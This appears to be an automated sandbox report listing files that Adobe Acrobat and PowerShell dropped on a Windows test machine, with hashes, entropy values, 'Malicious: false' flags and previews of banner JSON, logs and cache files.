Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.301484099828811
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQIRulXHHVoZcg1vRcR0Y0LVKoAvJf8dPeUkwRe9:YvXKXQIRuVWZc0vvGU8Ukee9
MD5:	8DE6D056EECEB13BD63CC30507E3086C
SHA1:	65B1F46A45E60596164051243DD20C79DE14DEB7
SHA-256:	7A06C81DE3AAA31113F2E2FD271B54B8E3D6A0014BEAC41B96FF11E61D22A1DC
SHA-512:	656B524C8A3CF58F4418FF87D0616961870C773DFCE232A518DA5FA074D51F6E3FC44012F52F0A14D4F717956A0D54B7D21FE28046BF181F468F5ED484089E25
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f0251827-8cfb-48e7-9177-3e3453ffa5a5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742239059,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.305369487852165
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQIRulXHHVoZcg1vRcR0Y0LVKoAvJfQ1rPeUkwRe9:YvXKXQIRuVWZc0vvGY16Ukee9
MD5:	AD7353DDF6AB5B0B5961FD6F3E6B4987
SHA1:	A2C78DB5704FE921F0E4A621505335A601FB9991
SHA-256:	4F9AB41021C3BC51A74B4B1CDEE2E00E9378D0CC0EBA8C77897BA746CD53548D
SHA-512:	A01A8C8C56F4387FA89F9EBD627D5FFCE5B72E65F21F8C7EC0C081ADD16C7AFAD49C27FA2328E63071BFB77DA61542A2FFCDD491C46F93AB1297FE47241F9255
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f0251827-8cfb-48e7-9177-3e3453ffa5a5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742239059,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.31255365832155
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQIRulXHHVoZcg1vRcR0Y0LVKoAvJfFldPeUkwRe9:YvXKXQIRuVWZc0vvGz8Ukee9
MD5:	85C96743B18FD233CF8F59D8E34E0C25
SHA1:	1387278BFB29B82099655F7423B1E21E47CDA094
SHA-256:	5421BDBF6EA3BA1813412D6D405C091F88675DF74BB0649B536CC2F7522112C1
SHA-512:	2B5FCF809B4F3176935EA3532551243093DD29A1009A83C0A743E76B106C94EFF4E926D531136598B48E7046DEB289965D08CE49728BCCDAE482FC48154AE8EE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f0251827-8cfb-48e7-9177-3e3453ffa5a5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742239059,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.32648318903982
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQIRulXHHVoZcg1vRcR0Y0LVKoAvJfzdPeUkwRe9:YvXKXQIRuVWZc0vvGb8Ukee9
MD5:	001913659CC34AF81E7E63C6F4411591
SHA1:	32ECCC14410619FA7F80E382A887B085615A59F1
SHA-256:	80A6BB87D15F61505BA2DEFF2122828258C2FAE1F9156AB98814BC9582C5BD70
SHA-512:	3A2A0FDDDFB8A0F373F6E63FDDEC684AA546AA3904AFACAFBFB4F88730DED6D36D3D94FF1B4DE0292AB4941FD80D2CAABCBA799CAF85794468D8233383CC44E4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f0251827-8cfb-48e7-9177-3e3453ffa5a5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742239059,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.30727474291637
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQIRulXHHVoZcg1vRcR0Y0LVKoAvJfYdPeUkwRe9:YvXKXQIRuVWZc0vvGg8Ukee9
MD5:	D3DCBE3F25E72371B0D3D3464CE42443
SHA1:	714DB61DD3C319F85B04327B79F120A65E159B65
SHA-256:	09F8988FD531CCDF7D14D60495A77F436169D1BCC38FA6851F763265632EA847
SHA-512:	C51AB4D868C8417D7D270B35CB9A90EAB19362167F744043CFFFA2002B91C0BCAFAEE581F2167559A772DB746DADBED1EDABA0DBD56508472A7493267F8B97E3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f0251827-8cfb-48e7-9177-3e3453ffa5a5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742239059,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.293752183126679
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQIRulXHHVoZcg1vRcR0Y0LVKoAvJf+dPeUkwRe9:YvXKXQIRuVWZc0vvG28Ukee9
MD5:	812A679501993108FCB5C40020D83376
SHA1:	A9ABAF2A9322037721310A278F0FBE739D320A31
SHA-256:	7754033A8CE1B17677D081FE420FC1FFCA127A994CF26D248EFCF76788AFAAE4
SHA-512:	11259A4142485757D606CBB9308F883A0EFECF5D4F17AB40D641994F5A21EF7009E5A3022652A00FBD77451A23CF828A5A22A3472B333095949F2D714147244F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f0251827-8cfb-48e7-9177-3e3453ffa5a5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742239059,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.290771842357131
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQIRulXHHVoZcg1vRcR0Y0LVKoAvJfbPtdPeUkwRe9:YvXKXQIRuVWZc0vvGDV8Ukee9
MD5:	D0423668A15D28C1B0D5CAD712F9ED1E
SHA1:	9BD4A89C9312F329C3477B0C659F3BB7FDB43230
SHA-256:	E86757D18394287DBF2BBC2DDB6E2D26956A93D295D6EF49E0D7AF125623C12F
SHA-512:	64667B192F2A37A2EC24680AEB54FDE12922A881BDBAC88E0E31B553875376FA6B8AB01A3991AA0B9A26A9CA5E796EB42E80FB20EC951E6C0AD8067B07892AA1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f0251827-8cfb-48e7-9177-3e3453ffa5a5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742239059,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2955239882990455
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQIRulXHHVoZcg1vRcR0Y0LVKoAvJf21rPeUkwRe9:YvXKXQIRuVWZc0vvG+16Ukee9
MD5:	2AA5846858446B50AC79EA59A6B1F9AE
SHA1:	CE006973277E6E83471E56E51B1E4FCE0F7E87D7
SHA-256:	A97333136117042DC2EED32B68586AA3549629138C8987F84CDB01BCC30FCDC6
SHA-512:	6786FCE65FE97A75E6A57246BC39B21F0F3BD5EECE060E5C42F47842C6DEA1F9CFB96A93D3C4C221241B11344EF33327C977830AA380354C2EA257FC33718568
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f0251827-8cfb-48e7-9177-3e3453ffa5a5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742239059,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.671093612700617
Encrypted:	false
SSDEEP:	24:Yv6XTuVWzvwamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSb:YvUOBgkDMUJUAh8cvMb
MD5:	76C3E98C4239B63269F6F61CEAC7E780
SHA1:	3021EAF2E4D34A0F7DAA9889534ACCF66921FCC3
SHA-256:	6B314D3833A536C6BBF5890B6013BA2CCEBB595AA7F271B4EA4EC62038E7C638
SHA-512:	43D0F04117D0671A2213AF707D91A797E6EB8800652E461DF1236D76BA806C0AF77332D1ECD46F0E038C57FBF5B84E521EFE3E8848ECED9C04236D82D3E1059E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f0251827-8cfb-48e7-9177-3e3453ffa5a5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742239059,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.273481234524475
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQIRulXHHVoZcg1vRcR0Y0LVKoAvJfshHHrPeUkwRe9:YvXKXQIRuVWZc0vvGUUUkee9
MD5:	7DC53AAE7195B38FDD771C7243585BCD
SHA1:	0FC2D39AB961DC5F668DCC97B10DFD77DA5A53D7
SHA-256:	A237C382ACE092722964B99D25AFCB314D1FECAF5A603D5EF59D2D077725E515
SHA-512:	8814AAA3B7FFE62AE3458D08DF81B0F264F92A3931A7D6C85C1BF992498C07F75AE0F33B1DF038E5D49BB743B706564119798B8AAAB54D49642A1940032EB89E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f0251827-8cfb-48e7-9177-3e3453ffa5a5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742239059,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.280010292847376
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQIRulXHHVoZcg1vRcR0Y0LVKoAvJTqgFCrPeUkwRe9:YvXKXQIRuVWZc0vvGTq16Ukee9
MD5:	335478B39A18AD39F1B6C90151C3F2ED
SHA1:	0F04F21383F13FDF2B36285CB249E8B5ACE9229C
SHA-256:	F46ADAD2CB8F8DE76E393DD2EAF84A907A873B2374221DA77E07F403C628D46F
SHA-512:	C028E37803E3688026AAC5BCDC88E3C65AE0D4B312DBE5CC41E0710C46ADE346BD4CE271A375D2A3F778629C9AAD60AE7C59EC0DF3A5D5D392BB041AE2A95F5B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f0251827-8cfb-48e7-9177-3e3453ffa5a5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742239059,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.14210115425437
Encrypted:	false
SSDEEP:	24:Y93EeWaEGHdayn6Jif5fZSwToVFPeVCHQePLfjFRg6j0SJPlAlyKS2eDx2LSJhCZ:Y0NwSwq5ZfoShtxtfc+wuaV094
MD5:	95911D141813FD789E18D327F059BA08
SHA1:	7E679BB7F32D42F017612EE827D9555015B93A1C
SHA-256:	E7A7FB69D570B90A7AD30679C5740D31DD52207202BF520833E6B89B61AE47F6
SHA-512:	E0E05F124A53F4D430E179BD0293FBF5C9DE4222F31FB594E6215EBE918AEA1D4AB7540E77610C6A8E3B6B015D5F0FCAA2C407CA64526C35A9934BC8C3403537
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"864399b22ae6baad4502935ab9895a66","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736562417000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"8fa2c0696b1b5a7e75db64308726fa67","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736562417000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"96df5d6d4b24dc473b6e83b65165c83e","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736562417000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"b9c156ed536a7dd170248c4c1b658ccc","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736562417000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"aca640e60031be7a1b838624df13d3b3","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736562417000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"a0b2824a44eb31fe99ed57fdbe7370c7","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.188156368282361
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUUSvR9H9vxFGiDIAEkGVvp2:lNVmswUUUUUUUUU+FGSIt6
MD5:	887012FD459810F382FC649AF1E860E2
SHA1:	BB1B0948CA0F6199C315A0D80526BF86258E025B
SHA-256:	62A7052051B6F124D6EE897724A855114A67D6C63EA4AF23EA360E2D81726966
SHA-512:	68681B564FE254E3774FACE34D45EFBE4B2A26C15E6A47E7ECE1A6E055462031E37C3DD75C706EE108054410BEDE0169948DACB869A28F9AAA5F55019CB6250C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6079456217814603
Encrypted:	false
SSDEEP:	48:7MSKUUUUUUUUUU2vR9H9vxFGiDIAEkGVvDqFl2GL7msa:7yUUUUUUUUUU6FGSItFKVmsa
MD5:	98B43499D0D84E894C30E8E785D8CE2C
SHA1:	B3DAA380B72E21A998708CE70FC2A7312F69DD13
SHA-256:	E0E3350BB4E3B020D71D0AD9B7EADE4A0EBD1D4A9EBD54427D972617AF64AF0E
SHA-512:	61DC6BD590EC1C55877BDA9EBB2CA3CFB7AB881FDED733C6DC8B91B36BFB746FE2EA870ECD15208858643DDFBA62A435AE7038A03041E60ACD73587C53B9E11D
Malicious:	false
Preview:	.... .c..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEglejwcwmv0ezw/ZLzyW6ItpLPClkYyu:6a6TZ44ADElywcwmVw/ZRtpL5K
MD5:	EB2E9D9235A16F52489215EE89E73AAA
SHA1:	BC35E23BF0913EA08B716BFE99077B599937EB67
SHA-256:	E33C251B50D0C08E552C2D046F5D6D21B64D7ACA9666816C0ACC618F9B86DD14
SHA-512:	1D8C4FDD3756EF8383A906F2805BD00A8B4E676267A618D4596FEB48E4B730A8606282AB86F6FB9D58AEC956E3BB3CE7B0D8456415D876172A97526409F7AAB6
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulVmdtZ:NllUM
MD5:	013016A37665E1E37F0A3576A8EC8324
SHA1:	260F55EC88E3C4D384658F3C18C7FDEF202E47DD
SHA-256:	20C6A3C78E9B98F92B0F0AA8C338FF0BAC1312CBBFE5E65D4C940B828AC92FD8
SHA-512:	99063E180730047A4408E3EF8ABBE1C53DEC1DF04469DFA98666308F60F8E35DEBF7E32066FE0DD1055E1181167061B3512EEE4FE72D0CD3D174E3378BA62ED8
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIbdbff.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.501595078528367
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClsB:Qw946cPbiOxDlbYnuRK+bv
MD5:	8616A771775CB449FE85995E40721973
SHA1:	B848E37C5832E830A4C13E2260F3A119501F402A
SHA-256:	B1535324A1270D68DA8CDB7D9F46BF94D88E7DAD91EB5E058D1DC6CDE9FE1A6B
SHA-512:	ACB866C28F6F3B41DD007EC6ED79093B1D0872427D7415CFA2BC3D0936374818383C4A7FFB21B76DD2B3F441987F4482A31A97D74C62B2C174CA14C6ED557EFA
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.1.:.2.6.:.5.7. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_piesk0gl.zid.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yvoy2atb.lgx.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 21-26-51-398.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.302126457971843
Encrypted:	false
SSDEEP:	384:iTl2CsDB+rz947xVC4SrXF6/TIk9gxleYkdJPrfD67/bl25t1yHerMbSzBLLOmGZ:jMP
MD5:	AF4A38E2C420F11B4321C3C610F81877
SHA1:	E036AD92AE0EE5A56C747DB973E58B2548B76868
SHA-256:	706C053715053D6269D7061156A3D346433C266BDFE8A4BAC73C9D8E1AAB88C7
SHA-512:	713A8C1EC6A24B152637902B0DE16165757A9CB1CEE95D87B84C5E054BCF610A99E73F3FA38A1D23DE6B14661FC30B7716605E32DE749711A82E4498EDBF1545
Malicious:	false
Preview:	SessionID=55f5356a-3b3e-453f-a0da-043a6ebf0a45.1736562411412 Timestamp=2025-01-10T21:26:51:412-0500 ThreadID=7296 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=55f5356a-3b3e-453f-a0da-043a6ebf0a45.1736562411412 Timestamp=2025-01-10T21:26:51:425-0500 ThreadID=7296 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=55f5356a-3b3e-453f-a0da-043a6ebf0a45.1736562411412 Timestamp=2025-01-10T21:26:51:425-0500 ThreadID=7296 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=55f5356a-3b3e-453f-a0da-043a6ebf0a45.1736562411412 Timestamp=2025-01-10T21:26:51:425-0500 ThreadID=7296 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=55f5356a-3b3e-453f-a0da-043a6ebf0a45.1736562411412 Timestamp=2025-01-10T21:26:51:426-0500 ThreadID=7296 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

